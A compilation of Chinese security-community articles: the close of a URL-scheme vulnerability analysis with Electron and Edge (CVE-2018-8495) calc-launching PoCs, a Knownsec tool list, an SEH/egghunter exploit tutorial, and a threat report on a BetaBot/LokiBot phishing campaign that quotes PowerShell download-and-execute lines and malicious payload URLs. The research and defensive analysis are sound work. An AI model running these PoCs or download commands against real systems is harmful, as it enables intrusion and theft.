chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc
使用 IE 浏览器访问该链接，最终生成的启动参数如下：
electron.exe "//?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc"
通过参数注入，调用 electron 中支持的 `--gpu-launcher` 参数，传入 `cmd.exe` 启动计算器，如下图：
图片来源于：<https://xz.aliyun.com/t/1990>，详情可以参考这个链接。
**Edge 远程代码执行**
2018 年 10 月，Edge
公开了远程代码执行的安全公告(CVE-2018-8495)，同样也是利用参数注入，最终达到了远程代码执行的效果；整个利用过程颇具巧妙性，本文对此进行详细的分析。
首先说一点的是，在 Edge 中居然可以打开一些不合法的 `url scheme`(没有包含 `URL Protocol` 字段)，比如 `WSHFile`
项：
当然在 Windows7 和 Windows8 下不能打开。
而恰恰 `WSHFile` 项指向了 `wscript.exe`，这个应用程序非常熟悉是Windows 内置的脚本解释器，那么可以利用 `WSHFile`
尝试去运行一个脚本；除此之外，上文提到 Edge 浏览器中存在参数注入的问题，那么是否有脚本可以接收参数并用于执行呢？
漏洞作者最终找到：
C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_
31bf3856ad364e35_10.0.17134.48_none_c60426fea249fc02\SyncAppvPublishingServer.vbs
该脚本文件支持接收参数，并且会将命令直接拼接到字符串中，然后通过 `powershell` 进行执行。
psCmd = "powershell.exe -NonInteractive -WindowStyle
Hidden-ExecutionPolicy RemoteSigned -Command &{" & syncCmd & "}"
最终构造的 PoC 如下：
<a id="q" href='wshfile:test/../../WinSxS/AMD921~1.48_/SyncAppvPublishingServer.vbs" test test;calc;"'>test</a>
<script>
window.onkeydown=e=>{
window.onkeydown=z={};
q.click()
}
</script>
以及执行后触发的效果：
目前 Windows10 上已经发布了修复补丁，Edge 已经不能调用这种不合法的 `url scheme` 了。
除此之外，404实验室的小伙伴在分析漏洞的过程中，也有一些额外的发现，如在注册表 `HKEY_CLASSES_ROOT` 还发现了和 `WSHFile`
类似的 `url scheme`，都指向 `wscript.exe`，同样也可以触发远程代码执行。包括：
1.wshfile
2.wsffile
3.vbsfile
4.vbefile
5.jsefile
还有在 `C:\Windows\System32\` 下也存在
`SyncAppvPublishingServer.vbs`，同样也可以利用，并且比漏洞作者所提供的更加可靠。
除了 `SyncAppvPublishingServer.vbs` 这个文件， 在
`C:\Windows\System32\Printing_Admin_Scripts\zh-CN` 下的 `pubprn.vbs`
也同样可以触发代码执行。
补充一点，在 Windows7 系统下 chrome 与 Edge 有相同的特性——会打开一些不合法的 `url scheme`，但由于 chrome
不存在参数注入的问题，所以可以暂且认为是安全的。
### 0x06 应用程序的问题
2017 年 12 月，macOS 上的 helpViewer 应用程序被公开由 XSS 造成文件执行的漏洞(CVE-2017-2361)，影响 macOS
Sierra 10.12.1 以下的版本；该漏洞同样也利用了 `url
scheme`，攻击者可以构造恶意页面，从而发动远程攻击。这是典型的由于应用程序所导致的 `url scheme` 安全问题。
漏洞详情可以参考：[https://bugs.chromium.org/p/project-zero/issues/detail?id=1040&can=1&q=reporter%3Alokihardt%40google.com%20&sort=-reported&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=100](https://bugs.chromium.org/p/project-zero/issues/detail?id=1040&can=1&q=reporter%3Alokihardt%40google.com%20&sort=-reported&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=100)
其构造的 PoC 如下：
document.location = "help:///Applications/Safari.app/Contents/
Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..
%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/
Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)";
在这个漏洞的利用过程中，可以发现操作系统和浏览器并没有出现问题，而是通过 `url scheme`
打开的应用程序出现了问题。通过对利用链的分析，可以了解到其中几个巧妙的点：
1. 利用 `url scheme` 中的 help 协议打开应用程序 Safari.help
2. 使用双重 url 编码绕过 helpViewer 对路径的检查，打开一个可以执行 JavaScript 的页面
3. 使用 helpViewer 的内置协议 `x-help-script` 打开应用程序(PoC不包含)
### 0x07 总结
`url scheme` 功能的便捷性得力于操作系统、浏览器(或其他支持 url 的应用)以及应用程序三方的相互支持；要保证 `url scheme`
功能安全可靠，就必须牢牢把关这三方的安全。
除此之外，不同的操作系统对 `url scheme`
实现方式不同，不同的浏览器也有自己的特性，应用程序也各有各的处理方式，多种组合的结果，就有可能出现一些意料之外的安全问题。
最后感谢 404 实验室小伙伴 @LoRexxar' 与 @dawu 在分析过程中给我的帮助。
* * *
References:
1. CVE-2018-8495分析: <https://leucosite.com/Microsoft-Edge-RCE/>
2. Seebug.paper: <https://paper.seebug.org/515/>
3. 先知: <https://xz.aliyun.com/t/1990>
4. electronjs: <https://electronjs.org/blog/protocol-handler-fix>
5. blackhat: <https://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-Carter/Whitepaper/bh-eu-08-mcfeters-rios-carter-WP.pdf>
6. blackhat: <https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf>
7. oreilly: <https://www.oreilly.com/library/view/hacking-the-next/9780596806309/ch04.html>
8. Github: <https://github.com/ChiChou/LookForSchemes>
9. MSRC.CVE-2018-8495: <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8495>
10. Microsoft: <https://docs.microsoft.com/en-us/windows/uwp/launch-resume/reserved-uri-scheme-names>
11. Microsoft: <https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767914(v=vs.85)>
12. Microsoft: <https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767916(v%3dvs.85)>
13. h-online: <http://www.h-online.com/security/news/item/URI-problem-also-affects-Acrobat-Reader-and-Netscape-733744.html>
14. chromium: [https://bugs.chromium.org/p/project-zero/issues/detail?id=1040&can=1&q=reporter%3Alokihardt%40google.com%20&sort=-reported&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=100](https://bugs.chromium.org/p/project-zero/issues/detail?id=1040&can=1&q=reporter%3Alokihardt%40google.com%20&sort=-reported&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=100)
* * * | 社区文章 |
**作者：知道创宇404实验室
时间：2020年9月21日**
“404星链计划”是知道创宇404实验室于2020年8月开始的计划，旨在通过开源或者开放的方式，长期维护并推进涉及安全研究各个领域不同环节的工具化，就像星链一样，将立足于不同安全领域、不同安全环节的研究人员链接起来。
其中不仅限于突破安全壁垒的大型工具，也会包括涉及到优化日常使用体验的各种小工具，除了404自研的工具开放以外，也会不断收集安全研究、渗透测试过程中的痛点，希望能通过“404星链计划”改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题，营造一个更好更开放的安全工具促进与交流的技术氛围。
项目地址: \- <https://github.com/knownsec/404StarLink-Project>
# Contents
* Project
* [KunLun-M](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#kunlun-m)
* Kunlun-Mirror. Focus on white box tools used by security researchers
* [LBot](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#lbot)
* A simple xss bot template
* [ksubdomain](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#ksubdomain)
* the fastest subdomain enumeration tool
* [Zoomeye Tools](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#zoomeye-tools)
* the Chrome extension with Zoomeye
* [Pocsuite3](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#pocsuite3)
* pocsuite3 is an open-sourced remote vulnerability testing framework developed by the Knownsec 404 Team.
* [Zoomeye SDK](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#zoomeye-sdk)
* ZoomEye API SDK
* [wam](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#wam)
* WAM is a platform powered by Python to monitor "Web App"
* Minitools
* [bin_extractor](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#bin_extractor)
* A simple script for quickly mining sensitive information in binary files.
* [CookieTest](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#cookietest)
* A script used to quickly test APIs or required parameters and cookies for a certain request.
* [ipstatistics](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#ipstatistics)
* ipstatistics is a script based on the ipip library that is used to quickly filter the ip list.
* [cidrgen](https://github.com/knownsec/404StarLink-Project/blob/master/TOOLS_README.md#cidrgen)
* cidrgen is based on cidr's subnet IP list generator
# Project
该分类下主要聚合各类安全工具，偏向于可用性较高的完整项目。
## KunLun-M
#### 项目链接：
<https://github.com/LoRexxar/Kunlun-M>
#### 项目简述：
Kunlun-Mirror是从Cobra-W2.0发展而来，在经历了痛苦的维护改进原工具之后，昆仑镜将工具的发展重心放在安全研究员的使用上，将会围绕工具化使用不断改进使用体验。
目前工具主要支持php、javascript的语义分析，以及chrome ext, solidity的基础扫描.
KunLun-M可能是市面上唯一的开源并长期维护的自动化代码审计工具，希望开源工具可以推动白盒审计的发展:>.
## LBot
#### 项目链接：
<https://github.com/knownsec/LBot>
#### 项目简述：
XSS Bot是CTF比赛中出XSS的一大门槛，后端性能不够，环境处理不完善各种都会影响到Bot的每一环。
LBot是脱胎于爬虫的简单模板，配合相应的功能，可以方便快捷的完成一个成熟的Bot。
# Minitools
该分类下主要聚合各类安全研究过程中涉及到的小工具、脚本，旨在优化日常安全自动化的使用体验。
## bin_extractor
#### 项目链接：
<https://github.com/knownsec/Minitools-bin_extractor>
#### 项目简述：
一个简单的用于快速挖掘二进制文件中敏感信息的脚本。可以用来快速挖掘并验证二进制文件中的url链接等敏感信息。
## CookieTest
#### 项目链接：
<https://github.com/knownsec/Minitools-CookieTest>
#### 项目简述：
用于快速测试api或某个请求的必选参数、cookie的脚本。可以用来快速确认某个api的必选参数以便进一步测试渗透等.
* * * | 社区文章 |
# 跟小黑学漏洞利用开发之SEH+Egghunter
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本篇缓冲区漏洞利用开发计划在egghunter之后发出，但是由于各种原因耽误了。本篇我们将不再依赖于mona插件帮助我们寻找可使用地址，只是希望大家理解——工具永远只是辅助，技术才是本质的道理。
同时本篇引入利用Fuzz模糊测试，带领大家领略从Fuzz到exploit全流程，利用程序依然采用vulnserver漏洞演示程序。攻击指令“GMON”，我们需要创建针对GMON指令SPIKE模板，稍后进行模糊测试该指令
模板内容如下：
## 利用SPIKE模糊测试
使用模板，我使用SPIKE的generic_send_tcp解释器在短时间内模糊了应用程序。
如下图当发送至5000字节时候程序失去连接崩溃
## 分析崩溃原因
执行此代码导致应用程序崩溃。正如我们看到，EIP没有被41覆盖
通过观察SEH，可以看到SEH记录被A覆盖。因此，这导致了应用程序崩溃原因。
## 编写POC脚本
通过前面分析要验证导致崩溃的缓冲区长度，我们已经写了下面的POC脚本，其中包含5000个字节。
执行POC脚本成功复现了崩溃。
## 分析偏移量
为了确定覆盖SEH的偏移量，我们使用!mona pc 5000生成了一个5000字节的唯一字符串，然后修改了代码。
使用!mona findmsp，发现nSEH记录被3495字节的偏移量覆盖。
然后，我将漏洞利用修改为以下内容。
如图所示，偏移量正确。nSEH被4 B覆盖，而4 C覆盖了SEH。
## 分析坏字节
如该图所示，D的缓冲区位空间不足以将所有坏字节存储于B和C后面。因此我们需方放入A缓冲区中。修改如下代码
可以看出，除了0x00空字节外，没有其他坏字节被找到。
## 寻找包含pop、pop、ret地址
这里我们不一定必须使用mona插件中的!mona
she，我们可以利用调试插件——checksec，帮助我们来完成查找，通过分析vulnserver中essfunc.dll。起始地址62500000到62508000.因此我们只需要寻找此地址内包含pop、pop、ret指令即可。
如图所示地址非常符合我们的要求
下面显示了更新的代码。
我们调整后的代码进行攻击尝试有效，并且SEH被我们刚刚找到包含POP POP RET指令的地址所覆盖。
通过按SHIFT + F9传递异常，我们被重定向到POP POP RET指令的地址。
进入POP POP RET指令将我们重定向到nSEH记录，该记录包含B的4个字节。
## 利用回跳技术
下一步将使用跳转指令更改这4个B，将我重定向到我的shellcode。但是，如上所述，我不能使用D的缓冲区，因为它只有二十多个字节长。即使是利用egghunter，这也不够，因为它需要32个字节的空间。由于A的缓冲区位于4个B的缓冲区的正上方，因此不得不跳回去。为此，无法进行“长跳”操作，因为对应opcode的长度为5个字节。仅有4个字节的空间的nSEH不能满足要求。相反，我跳回了50个字节，就像之前的文章一样（不知道的小伙伴可以回看跟小黑学漏洞利用开发之egghunter）。下面显示了我使用的代码。
如此处所示，回跳起了作用。下一步是将egghunter代码放在此位置。
## Egghunter
我们使用!mona egg -t HACK生成egghunter代码。
在使用egghunter之前，我们必须先确定egghunter代码之前A的偏移量。为此，进行了一个简单的计算：A的原始3495字节+向回跳转的Opcode占用2字节-向后跳转的距离为50字节= A *3447字节。下面我们重新调整代码。
重定向和计算正常，当前指令指向egghunter。如图所示。
## 生成shellcode&存放shellcode
然后，我们使用MSFvenom生成了一个shellcode。
由于A的剩余缓冲区仍然很大，因此决定将egghunter代码和shellcode放在GMON命令之后。
## 漏洞攻击
下面为大致执行流程。
执行最终的利用代码后，egghunter在GMON命令之后成功定位了egg / tag和shellcode 。
Shellcode运行，依旧在目标机器开启在4444 / tcp监听端口。最后要做的是连接到此端口以Getshell。 | 社区文章 |
# 银钩：针对国内网银用户的钓鱼的攻击活动
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
电信网络诈骗犯罪让民众蒙受巨大损失。在持续高发的电信网络诈骗案中，不法分子依托电信互联网络，利用各种技术手段，假冒亲属朋友、公职人员，跨国、跨境、跨区域诱骗群众、诈骗钱财。
而在这些案例中，利用电子发票通知函为主题的钓鱼邮件攻击手段历史已久，就如此前我们捕获的以顺丰电子发票为主题的钓鱼邮件，该类钓鱼邮件的附件和链接打开后其实为一个钓鱼网站，用于进行用户账号密码盗取。
而这类攻击背后，往往是一个装备精良，组织有序的黑产团伙在进行运营活动，而投放钓鱼邮件进行攻击仅仅是团伙在这条黑色产业链上的一部分。
而奇安信威胁情报中心红雨滴安全研究团队于近日捕获的一封钓鱼邮件的攻击手法却有所不同，其使用了附件为漏洞利用文档的手法进行攻击，试图通过漏洞触发后的木马感染用户电脑，从而窃取个人资产。由于本次攻击涉及目标为经商人员，且中招人员涉及中国台湾等多省份，因此在判定攻击具有针对性后，我们对攻击进行剖析以及攻击者背景进行研判后向公众进行细节披露，希望公众增强对钓鱼邮件的真伪识别能力。
基于我们对团伙历史活动的总结，从2019年4月15日开始进行的样本测试，到整个5月的攻击活动，无不体现出这起攻击背后的黑产团伙对于武器部署到运用的经验之丰富。由于攻击背后的团伙最终目的为针对电信和经商用户的银行账号进行财产窃取，因此我们将该团伙命名为：银钩，意指利用银行木马作为诱饵，等待猎物上钩之意。国外安全公司Cybereason在2018年10月曾对此团伙的活动做过分析揭露，其最早被发现的活动早在2012年，我们当前观察到的为其最新的攻击活动。
## 诱饵分析
红雨滴安全研究团队初始捕获的银钩组织样本为针对中国台湾省的eml文件：“中華電信108年05月電子發票通知函_[發票號碼：NJ06424209].eml”
。
邮件内容可见，攻击者为了引诱受害者打开附件文档，故意将邮件中的兑奖方式标红，使得受害者有打开电子发票查看信息的欲望，同时对于经商人员来说，发票是一个重要报销手段，因此同样有理由打开附件文档。
图1.1 截获到的邮件截图
发送的附件是一个以发票编号为名的doc文件，而该附件使用了CVE-2018-11882漏洞；通过奇安信多维度数据的关联分析，确认本波攻击中大陆也有很多受害者，而受害者一般做外贸生意，且经常使用网银。
图1.2 标记为CVE-2018-11882漏洞
通过对邮件分析，可以发现其伪造中華電信電子發票
<[email protected]>的官方邮箱代发，而实际发件人为：[email protected]；
图1.3 邮件头截图
## 样本分析
对上述样本的技术分析显示其最后会加载一个BetaBot木马，并与C2连接实现远程控制，控制操作受害者的电脑窃取用户网银中的钱。
### RTF文件分析
样本中包含的RTF是经过简单混淆的文件，使用红雨滴团队的分析工具提取出shellcode后进行分析。
图2.1 RTF文件内容截图
图2.2提取出来的stream为Equation2版本
Shellcode会通过调用rundll32
javascript:”\\..\mshtml,RunHTMLApplication去执行一个远程的HTA文件：
图2.2 RunHTMLApplication执行远程HTA文件
和0xa6异或解密js的下载地址，地址为pastebin上的一个地址：
https://pastebin.com/raw/1fFneMx6
图2.3 xor出js的下载地址
该js的内容会执行一段powershell命令。
图2.4 js的内容
Base64解码出powershell命令的功能为从如下的URL下载femi.exe到temp的nvbackend.exe并通过js脚本执行起来：
iex ((new-object net.webclient).downloadfile(“http://asia-kunsthandwea1-online.com/cs/femi.exe”,”$env:temp\nvbackend.exe”));
---
从远程地址下载回来femi.exe，进行分析。
### femi.exe分析
MD5：6B4384B706D7FA925BDCEEB5B21C855C
该样本是nsis打包的一个文件，主要是为了躲避杀毒软件的静态查杀，该文件会释放一个foreandafters.dll，并通过nsis加载起来；而“Infamy”这个文件是加密的数据文件，后续会被foreandafters.dll和shellcode多次解密并加载。
图3.1 femi.exe的nsis结构
图3.2 nsis脚本加载foreandafters.dll
### foreandafters.dll分析
MD5：6e17b30ff21d147b4b11329b0e88d0f7
该dll的导出模块名为_UseBayonet64.dll，导出表为cmpint：
图4.1 foreandafters.dll的PE信息
该dll的代码中加入了大量垃圾指令：
图4.2 加入大量垃圾指令的代码
图4.3 加入大量垃圾指令的代码
0x10003010处的数据异或0x1a解密出shellcode并执行：
图4.4 解密0x10003010处的shellcode
执行shellcode的入口Call，传递的参数指针为0x12fb64，其中包括GetProcAddress的地址、GetModuleHandleA的地址和“Infamy”字符串的地址：
图4.5 传递的参数指针的内容
被执行起来的shellcode首先会读取“Infamy”文件的内容，从该文件的偏移0x0->0x22d取出XOR的Key(共0x22d字节的key)；和后续的0x22d->0x22d+0x4c00+0x918的数据单字节异或解密出shellcode，传递kernel32.dll的基址和GetProcAddress的地址，并直接Call
shellcode
0x855偏移处的代码（这次使用的数据大小为0x22d+0x4c00+0x918=0x5745;大概为21kb，而“Infamy”文件总大小为303kb，后面的数据会在后面的shellcode中被多次解密使用）：
图4.6 解密文件并执行shellcode
执行的第二层shellcode的0x855偏移函数，传递的参数是一个指针；该指针包括：
第一个int：kernel32的基地址
第二个int：GetProcAddress的地址
第三个int：读取到的“Infamy”文件的内容的地址
第四个int：后续代码在Infamy内容中的偏移，就是前面解密shellcode的末尾
图4.7 为第二层shellcode传递的参数指针
第二层shellcode从解密后的数据的0x855偏移处执行，里面包含很多拼串的代码：
图4.8 第二层shellcode的入口处
第二层shellcode会在内存加载一个dll：
图4.9 第二层shellcode在内存中加载的dll
加载的dll名字为：AlienwareAlienFXTester.resources.dll
### AlienwareAlienFXTester.resources.dll分析
MD5：7535b629bc5cc8d4aad65d0d34c84fd3
版本信息伪装成Alienware AlienFX的信息：
图5.1 AlienwareAlienFXTester.resources.dll的版本信息
该dll的大部分代码也跟foreandafter.dll一样，同样插入了很多垃圾指令：
图5.2 大量垃圾指令的AlienwareAlienFXTester.resources.dll
该dll刚开始会通过调用CryptDecrypt 10万次，来起到Sleep的作用：
图5.3 延时执行代码的函数
然后会同样读取同目录下的“Infamy”文件，并定位到0x5745的位置。
图5.4 读取同目录下“Infamy”文件
先用“Infamy”和前面的557字节循环异或生成一个557字节的字典：
图5.5 循环异或生成字典
用生成的字典循环异或解密下面的数据：
图5.6密钥解密后续数据
解密后的shellcode又会被在内存中加载起来：
图5.7 执行shellcode
该shellcode传递的参数分别为：待注入的exe的地址、exe长度和一些API的地址：
图5.8 shellcode传递的参数
该shellcode执行起来后，会起来一个nslookup.exe傀儡进程，并把该EXE写入到nslookup的进程空间中执行：
图5.9 shellcode执行起来的傀儡进程
被写入到傀儡进程中的EXE文件MD5为：1f24cb3c78041fb51455369e03732258，这就是BetaBot家族的银行木马。
### BetaBot家族样本分析
该样本的MD5为：1f24cb3c78041fb51455369e03732258，是一个EXE文件：
图6.1 exe入口处代码
首先会检测虚拟机，如果在虚拟机运行，会一直等待下去，并不会执行后面的代码；虚拟机的字符串解密算法为单字节异或0x7a，通过枚举Services服务的注册表键值是否包含VMTools、VBoxGuest和VMware,
Inc 来判断是否在虚拟机中：
图6.2 检测虚拟机代码
然后会从自身文件头位置开始查找，和一个16字节的特征去比较，找到待解密的数据的offset，得到后取offset:0x33的值为异或密钥，从offset:0x34处开始解密数据，数据长度为offset:0x17-0x20的值：
图6.2 从自身文件查找资源文件
图6.3 解密并解压数据
使用XOR解密并解压后，发现是一个PE文件，该PE会在内存中加载起来，并连接C2：kkrudy[.]com：
图6.4 解密后的PE
内存中解密的该exe是一个远控文件，提过提取字符串，看到一些检测杀软的字符串：
图6.5 BetaBot木马中检测杀软的字符串
通过对该木马的一些特征字符串的搜索，发现一个木马配置器有同样的字符串，通过该配置器配置出来一个木马文件，该配置器的标题为BetaBotBuilderGUI，猜测为BetaBot家族的木马配置器：
图6.6 BetaBot木马配置器
通过比较发现这个木马和前面分析的EXE木马的文件完全一样，所以之前分析的EXE是BetaBot家族的银行木马：
图6.7 BetaBot配置器生成的BetaBot木马
该家族远控的控制界面为Web版本：
图6.8 BetaBot WEB控制端
通过对恶意代码的分析，绘制该恶意代码的执行流程图如下：
图6.9 该恶意代码执行流程图
Betabot（又名[Neurevt](https://www.virusbulletin.com/virusbulletin/2014/05/neurevt-botnet-new-generation)），是一种复杂的恶意软件，自2012年底首次出现以来发生了重大变化。Betabot最初是作为银行恶意软件出现的，后来演变为密码窃取者。最终，它变成了一个能够提供勒索软件的僵尸网络。
Betabot的主要功能包括：
1、浏览器用户凭据[抓取](https://en.wikipedia.org/wiki/Form_grabbing)器(Form grabbing)
2、FTP和邮件客户端窃取模块
3、盗窃银行账号模块
4、运行DDOS攻击
5、USB感染模块
6、强大的用户态Rootkit（x86 / x64）
7、通过shell执行任意命令
8、能够下载其他恶意软件
9、驻留自身在系统
10、虚拟货币挖矿模块（2017年新增）
11、分发勒索软件
该恶意软件已在地下黑市上做广告进行销售，售价约为120美元。然而，由于最近发现了Betabot生成器的破解版本，因此其他网络犯罪分子都可以直接利用Betabot生成器构造样本而不从作者处购买，因此导致Betabot的变种增加。
## 分析溯源
由于该木马作者使用pastebin存放hta
payload，所以通过搜索pastebin，发现一些攻击者的蛛丝马迹，找到另外一个payload，创建时间分别为5月6日和5月12日：
图7.1 通过pastebin搜到的2个同源脚本
5月6日的那个脚本的powershell命令如下，该文件是一个白的putty样本，所以应该是攻击者在攻击前的测试：
iex ((new-object
net.webclient).downloadfile(“https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe”,”$env:temp\nvbackend.exe”));
---
图7.2 pastebin搜到的攻击者的测试脚本
Pastebin上存的有创建时间和访问次数：
图7.3 pastebin链接的内容
统计信息显示攻击者最近2个月一直在活跃，从4月15开始，5月28的时候还在活跃（标绿色的为测试链接），大部分下载链接的网站都是被黑的网站或者攻击者的虚拟空间，攻击者把EXE放到上面去：
图7.4 pastebin关联到的同源样本
创建时间
|
访问次数
|
下载链接
|
落地文件
|
pastbin链接
---|---|---|---|---
MAY 28TH, 2019
|
181
|
http://imhafiz.info/iyk.exe
|
$env:temp\bakdraw.exe
|
<https://pastebin.com/8qRQdXPk>
MAY 21ST, 2019
|
205
|
http://asia-kunsthandwea1-online.com/cs/femi.exe
|
$env:temp\nvbackend.exe
|
<https://pastebin.com/1fFneMx6>
MAY 12TH, 2019
|
83
|
https://theearth.li/~sgtatham/putty/latest/w64/putty.exe
|
$env:temp\nvbackend.exe
|
<https://pastebin.com/PeqwepyA>
MAY 12TH, 2019
|
188
|
<http://empire-eyewear.com/bin/099.exe>
|
$env:temp\nvbackend.exe
|
<https://pastebin.com/nggRPkQE>
MAY 9TH, 2019
|
205
|
http://empire-eyewear.com/logs/81.exe
|
$env:temp\nvbackend.exe
|
<https://pastebin.com/GfpKLBJz>
APR 15TH, 2019
|
225
|
http://krosnovunderground.se/smfbk.exe
|
$env:temp\svchost.exe
|
<https://pastebin.com/KWZVUNW5>
APR 28TH, 2019
|
117
|
http://shapemix.com/downloads/temp/john.exe
|
$env:temp\vnchost.exe
|
<https://pastebin.com/SGDZcYrq>
除了存放在pastebin上之外，还会把HTA脚本放到被黑的网站上；
比如如下的样本：
文件名：rfq-alp19-smkb-93790.doc
MD5：99cdf54fd36d5eb9378d3060b709a261
HTA文件存在https://silversplash925.com/windows/uloti.hta这个链接上。
图7.5 shellcode解密出来的hta下载地址
图7.6 hta文件于5月28日上传到该网站
从HTA脚本中提取到下一阶段的exe的地址为：
http://www[.]medicmanual[.]com/ecom/RFQ-ALP19-SMKB-93790.exe
图7.7 NSIS解包后的RFQ-ALP19-SMKB-93790.exe文件
而该网站是一个卖珠宝钻石的网站：
图7.8 被黑的网站主页
另外攻击者也会直接以EXE的形式投递的恶意代码，伪装订单信息，后缀为-JPG：
文件名：NEW PO -JPG.exe
MD5：371f8753efa5ed1f90c55211b8631e5e
LoadDll名：buttonholes.dll
图7.9 VT关联到的exe形式投递的样本
下表为找到的NSIS类型的Dropper的统计信息，“Load
Dll”表示NSIS包里加载shellcode的dll的名字；通过shellcode的创建时间可以推测攻击者的活跃时间一般是在每天的3到10点左右：
MD5
|
文件名
|
修改时间
|
备注
|
文件名翻译
---|---|---|---|---
0e5c975fb6cbd4569b494b2d92a585f7
|
crosspollination.dll
|
2011/5/13 4:20
|
Load Dll
|
授粉
d41d8cd98f00b204e9800998ecf8427e
|
executors.dll
|
2011/5/15 6:18
|
Load Dll
|
遗嘱执行人
e9f0406091c6e24979d02df7e6af742c
|
limerick.dll
|
2011/5/16 8:54
|
Load Dll
|
五行打油诗
d2744e209d4f6fd05b07473547829729
|
bogtrotters.dll
|
2011/5/19 4:28
|
Load Dll
|
bogtrotters
0b5dbd2725bc7b0697f9ddeab360920f
|
enlightened.dll
|
2011/5/20 11:08
|
Load Dll
|
开明
6e17b30ff21d147b4b11329b0e88d0f7
|
adlibs.dll
|
2011/5/21 3:51
|
Load Dll
|
广告库
e21867fcff7cae00745fb0f90db36131
|
Orsino.dll
|
2011/5/23 18:45
|
Load Dll
|
奥西诺
6c829b2980f1d6de35db2ab67a4c0f6e
|
Phraseogram
|
2019/5/7 6:19
|
Shellcode
|
Phraseogram
d46d018ac1a2f3f6eae75f3d215d0a5e
|
dystonia.dll
|
2019/5/7 23:03
|
Load Dll
|
张力障碍
1a4bb9e0e3b6263790a9601936d2b17c
|
festivities.dll
|
2019/5/28 8:49
|
Load Dll
|
庆祝活动
40c94567948180c817be0296f38621f2
|
Jambiya
|
2019/5/14 4:14
|
Shellcode
|
Jambiya
6feb298699ca485308e502405c58c2bd
|
Jambiya
|
2019/5/14 4:14
|
Shellcode
|
Jambiya
0c4431f13e243eae96ccec65fc45cf38
|
Jambiya
|
2019/5/14 5:15
|
Shellcode
|
Jambiya
d980c7f02ded690b6b6cf09168716d57
|
Excogitator
|
2019/5/16 5:34
|
Shellcode
|
Excogitator
61d5472483fe5a53f3f3ab9f081d9685
|
Scholiast
|
2019/5/19 7:04
|
Shellcode
|
注释者
5cdc815419fc281a71ff7f7eb7912412
|
Scholiast
|
2019/5/19 7:04
|
Shellcode
|
注释者
35f6af03b8cb8b66a5cae79bc5523565
|
Scholiast
|
2019/5/19 7:04
|
Shellcode
|
注释者
b8de33ba3d07116b0208cb69a5cd01ec
|
Scholiast
|
2019/5/19 7:06
|
Shellcode
|
注释者
8c8028bfe5c2d7e8b52207dd3bc9b847
|
Infamy
|
2019/5/21 5:26
|
Shellcode
|
骂名
8b79059bbb792df7fd3830f0485c9dc0
|
Infamy
|
2019/5/21 5:26
|
Shellcode
|
骂名
90b8d36168468659f8256a1abe274744
|
Infamy
|
2019/5/21 6:18
|
Shellcode
|
骂名
2813d007c62993703854ed60f61a7afe
|
Infamy
|
2019/5/21 7:04
|
Shellcode
|
骂名
34191d0e3b96f1b5c96756a4d0048116
|
Kappa
|
2019/5/22 5:11
|
Shellcode
|
卡帕
6a057db2863f3a185c2a41c675311c11
|
Infamy
|
2019/5/22 10:57
|
Shellcode
|
骂名
9e10047b114ffad661c293e5ad66f275
|
Epizoa
|
2019/5/26 5:47
|
Shellcode
|
Epizoa
7509c512fd013a65b704e344021f0f69
|
ChivKeyboard
|
2019/5/27 5:28
|
Shellcode
|
ChivKeyboard
另外攻击者除了传播BetaBot家族木马外，还会传播另外的一个家族：
通过前面的http://imhafiz[.]info/iyk.exe这个链接下载到的木马为通过Uber开源程序里面插入恶意代码的形式做静态免杀：
图7.10 iyk.exe木马的版本信息
作者在正常的代码里插入恶意代码，而且被插入的恶意代码里也插入了很多垃圾代码；
首先分配内存空间，解密shellcode并复制到分配的内存空间，通过 EnumWindowStations回调的形式执行shellcode：
图7.11 为后续恶意代码分配内存
图7.12 未解密的shellcode
图7.13 通过EnumWindowStations回调的方式执行shellcode
被执行起来的shellcode会解密文件本身包含的PE（恶意代码），复写到自身的进程空间中，并执行起来恶意代码，同时释放自身到%appdata%
\E8C536[随机]\6003F6[随机].exe目录，并设置文件属性为隐藏加系统保护，然后自删除；
最后连接http://ikoyiclub55[.]co.uk/cell/fre.php地址，建立C2通信，从而控制受害者电脑。
图7.14 释放的恶意文件
该恶意代码家族属于LokiBot网银木马家族：
图7.15 LokiBot的特征字符串
会窃取各种浏览器的账号和密码和一些其他应用的密码：
图7.16 窃取的密码覆盖主流浏览器
此外，而在对攻击者的投放邮箱[email protected]进行分析时，发现maxshippingline.nl开放了opendir目录。初步可见其上传了PHPMailer用于邮件服务器搭建。
图7.17 攻击者OpenDir目录
